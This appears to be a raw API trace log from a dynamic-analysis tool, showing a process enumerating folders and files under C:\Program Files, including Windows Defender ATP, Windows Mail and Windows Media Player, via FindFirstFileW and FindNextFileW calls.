	[0157.903] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa8fde0ed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0157.903] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa8fde773, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0157.903] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45816f8
	[0157.903] lstrlenW (lpString="C:\\Program Files\\Windows Defender Advanced Threat Protection\\en-US") returned 66
	[0157.906] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Defender Advanced Threat Protection\\en-US\\*", lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa8fde773, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd180
	[0157.906] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa8fde773, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0157.906] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ea62ba2, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x67afd900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x5600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MsSense.exe.mui", cAlternateFileName="")) returned 1
	[0157.906] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ea62ba2, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x67afd900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x5600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MsSense.exe.mui", cAlternateFileName="")) returned 0
	[0157.906] FindClose (in: hFindFile=0x5dd180 | out: hFindFile=0x5dd180) returned 1
	[0157.906] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0157.906] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7822b459, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe304e38c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe304e38c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x3bb568, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsSense.exe", cAlternateFileName="")) returned 1
	[0157.906] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7822b459, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe2f69567, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe2f69567, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xbcad0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SenseCncProxy.exe", cAlternateFileName="")) returned 1
	[0157.907] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7822b459, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe2f69567, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe2f69567, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SenseCncPS.dll", cAlternateFileName="")) returned 1
	[0157.907] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7822b459, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe2fb5a1e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe2fb5a1e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x290800, dwReserved0=0x0, dwReserved1=0x0, cFileName="SenseSampleUploader.exe", cAlternateFileName="")) returned 1
	[0157.907] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x782516c0, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd6d17d57, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd6d17d57, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x24800, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATPCSP.dll", cAlternateFileName="")) returned 1
	[0157.907] FindNextFileW (in: hFindFile=0x5dd480, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x782516c0, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd6d17d57, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd6d17d57, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x24800, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATPCSP.dll", cAlternateFileName="")) returned 0
	[0157.907] FindClose (in: hFindFile=0x5dd480 | out: hFindFile=0x5dd480) returned 1
	[0157.907] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0157.907] FindNextFileW (in: hFindFile=0x5dd0c0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa90b6918, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Mail", cAlternateFileName="WINDOW~2")) returned 1
	[0157.907] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38c0e18
	[0157.907] lstrlenW (lpString="C:\\Program Files\\Windows Mail") returned 29
	[0157.907] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Mail\\*", lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa90b6918, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd180
	[0157.908] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa90b6918, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0157.908] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa90b7e0a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0157.908] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45816f8
	[0157.908] lstrlenW (lpString="C:\\Program Files\\Windows Mail\\en-US") returned 35
	[0157.908] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Mail\\en-US\\*", lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa90b7e0a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd440
	[0157.908] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa90b7e0a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0157.908] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b922184, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x755f99d9, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x75fdf500, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x7a000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msoeres.dll.mui", cAlternateFileName="")) returned 1
	[0157.908] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb5e4e0, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x74ccc800, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WinMail.exe.mui", cAlternateFileName="")) returned 1
	[0157.908] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb5e4e0, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x74ccc800, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WinMail.exe.mui", cAlternateFileName="")) returned 0
	[0157.908] FindClose (in: hFindFile=0x5dd440 | out: hFindFile=0x5dd440) returned 1
	[0157.909] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0157.909] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d342cc, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d342cc, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1f0a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoe.dll", cAlternateFileName="")) returned 1
	[0157.909] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d5a533, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d5a533, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x25f400, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOERES.dll", cAlternateFileName="")) returned 1
	[0157.909] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d5a533, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d5a533, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xfa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="oeimport.dll", cAlternateFileName="")) returned 1
	[0157.909] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440ad34a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440ad34a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440ad34a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7e400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab.exe", cAlternateFileName="")) returned 1
	[0157.909] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440d35a9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440d35a9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440d35a9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wabimp.dll", cAlternateFileName="")) returned 1
	[0157.909] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440ad34a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440ad34a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440ad34a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x10c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wabmig.exe", cAlternateFileName="")) returned 1
	[0157.909] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x66600, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMail.exe", cAlternateFileName="")) returned 1
	[0157.909] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x66600, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMail.exe", cAlternateFileName="")) returned 0
	[0157.910] FindClose (in: hFindFile=0x5dd180 | out: hFindFile=0x5dd180) returned 1
	[0157.910] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0157.910] FindNextFileW (in: hFindFile=0x5dd0c0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e4faee, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x8390de24, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x8390de24, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Media Player", cAlternateFileName="WI54FB~1")) returned 1
	[0157.910] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38c0e18
	[0157.910] lstrlenW (lpString="C:\\Program Files\\Windows Media Player") returned 37
	[0157.910] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Media Player\\*", lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e4faee, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x8390de24, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x8390de24, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd180
	[0157.910] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e4faee, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x8390de24, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x8390de24, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0157.910] FindNextFileW (in: hFindFile=0x5dd180, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9124bcc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e75d43, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0157.910] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45816f8
	[0157.910] lstrlenW (lpString="C:\\Program Files\\Windows Media Player\\en-US") returned 43
	[0157.910] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Media Player\\en-US\\*", lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9124bcc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e75d43, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd1c0
	[0157.911] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e75d43, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9124bcc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e75d43, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0157.911] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b9e0d51, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d06fb4c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x11db3100, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mpvis.dll.mui", cAlternateFileName="")) returned 1
	[0157.912] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb38282, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d06fb4c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x130c5e00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="setup_wm.exe.mui", cAlternateFileName="")) returned 1
	[0157.912] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40aa916a, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d06fb4c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x100e6f00, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wmlaunch.exe.mui", cAlternateFileName="")) returned 1
	[0157.912] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b9483e2, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d06fb4c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x10aa0400, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wmplayer.exe.mui", cAlternateFileName="")) returned 1
	[0157.912] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dd13924, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d5f3279, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x10aa0400, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WMPMediaSharing.dll.mui", cAlternateFileName="")) returned 1
	[0157.912] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dd13924, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d5f3279, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x11db3100, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x9c00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wmpnetwk.exe.mui", cAlternateFileName="")) returned 1
	[0157.912] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3de1e9a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d5f3279, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x10aa0400, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wmpnscfg.exe.mui", cAlternateFileName="")) returned 1
	[0157.912] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3de1e9a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7d5f3279, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x10aa0400, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wmpnssci.dll.mui", cAlternateFileName="")) returned 1
